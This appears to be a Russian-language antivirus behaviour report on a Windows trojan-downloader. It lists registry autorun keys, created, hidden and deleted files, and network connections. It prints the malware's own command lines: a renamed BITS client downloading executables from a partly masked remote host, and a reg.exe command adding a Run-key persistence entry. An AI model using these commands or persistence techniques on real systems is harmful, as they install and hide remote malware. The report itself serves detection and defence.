Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'WinsysMon' = '%TEMP%\nsi2.tmp\googledownload.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'wextract_cleanup0' = 'rundll32.exe <SYSTEM32>\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"'
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\BITS] 'Start' = '00000002'
Вредоносные функции:
Создает и запускает на исполнение:
- C:\iexplor520.exe
- C:\Iexplor701.exe
- %TEMP%\IXP000.TMP\lsass.exe /transfer jman /download /priority high http://bi####r.fileave.com/90210.exe "C:\90210.exe"
- %TEMP%\nsi2.tmp\googledownload.exe
- C:\90210.exe
- C:\Iexploreiosg.exe
- %TEMP%\nsi2.tmp\setup.exe
- %WINDIR%\Temp\is-LHRK7.tmp\setup.tmp /SL5="$100DE,53248,0,%TEMP%\IXP000.TMP\setup.exe"
- %TEMP%\IXP000.TMP\setup.exe
- %TEMP%\IXP000.TMP\lsass.exe /transfer jman /download /priority high http://bi####r.fileave.com/IC/zhvntnlgecngmdn.exe "C:\Iexplor701.exe"
- %TEMP%\IXP000.TMP\lsass.exe /transfer jman /download /priority high http://bi####r.fileave.com/beam/isog.exe "C:\Iexploreiosg.exe"
- %TEMP%\IXP000.TMP\lsass.exe /transfer jman /download /priority high http://bi####r.fileave.com/convert/5252009.exe "C:\iexplor520.exe"
- C:\iexplor520.exe (загружен из сети Интернет)
- C:\90210.exe (загружен из сети Интернет)
- C:\Iexplor701.exe (загружен из сети Интернет)
- C:\Iexploreiosg.exe (загружен из сети Интернет)
Запускает на исполнение:
- <SYSTEM32>\cmd.exe /c %TEMP%\hi.bat
- <SYSTEM32>\reg.exe add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WinsysMon /t REG_SZ /d "%TEMP%\nsi2.tmp\googledownload.exe" /f
- <SYSTEM32>\ntvdm.exe -f -i1
- <SYSTEM32>\net1.exe start bits
Изменения в файловой системе:
Создает следующие файлы:
- C:\BIT6.tmp
- C:\BIT7.tmp
- %WINDIR%\Temp\is-DED2N.tmp\_isetup\_shfoldr.dll
- C:\BIT5.tmp
- C:\BIT8.tmp
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\submit[1].php
- %TEMP%\hi.bat
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\submit[1].php
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\submit[1].php
- %WINDIR%\Temp\is-DED2N.tmp\_isetup\_RegDLL.tmp
- %TEMP%\IXP000.TMP\lsass
- %TEMP%\IXP000.TMP\w.bat
- %TEMP%\nsi2.tmp\setup.exe
- %TEMP%\nsi2.tmp\googledownload.exe
- %TEMP%\IXP000.TMP\r.bat
- %WINDIR%\Temp\scs4.tmp
- %WINDIR%\Temp\is-LHRK7.tmp\setup.tmp
- %TEMP%\IXP000.TMP\setup.exe
- %WINDIR%\Temp\scs3.tmp
Присваивает атрибут 'скрытый' для следующих файлов:
- %TEMP%\hi.bat
Удаляет следующие файлы:
- %TEMP%\IXP000.TMP\lsass.exe
- %TEMP%\IXP000.TMP\w.bat
- %TEMP%\nsi2.tmp\setup.exe
- %TEMP%\nsi2.tmp\googledownload.exe
- %WINDIR%\Temp\scs4.tmp
- %WINDIR%\Temp\scs3.tmp
- %TEMP%\IXP000.TMP\r.bat
- %TEMP%\IXP000.TMP\setup.exe
Перемещает следующие файлы:
- C:\BIT7.tmp в C:\Iexploreiosg.exe
- C:\BIT8.tmp в C:\90210.exe
- C:\BIT6.tmp в C:\iexplor520.exe
- %TEMP%\IXP000.TMP\lsass в %TEMP%\IXP000.TMP\lsass.exe
- C:\BIT5.tmp в C:\Iexplor701.exe
Сетевая активность:
Подключается к:
- 'localhost':1041
- 'localhost':1040
- '12#.#17.248.59':80
- 'localhost':1042
- 'localhost':1037
- 'wp#d':80
- 'localhost':1039
- 'bi####r.fileave.com':80
TCP:
Запросы HTTP GET:
- bi####r.fileave.com/beam/isog.exe
- bi####r.fileave.com/90210.exe
- 12#.#17.248.59/sd3update/submit.php?mo########################################
- wp#d/wpad.dat
- bi####r.fileave.com/IC/zhvntnlgecngmdn.exe
- bi####r.fileave.com/convert/5252009.exe
UDP:
- DNS ASK bi####r.fileave.com
- DNS ASK wp#d
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'ConsoleWindowClass' WindowName: 'ntvdm-b38.b3c.380001'
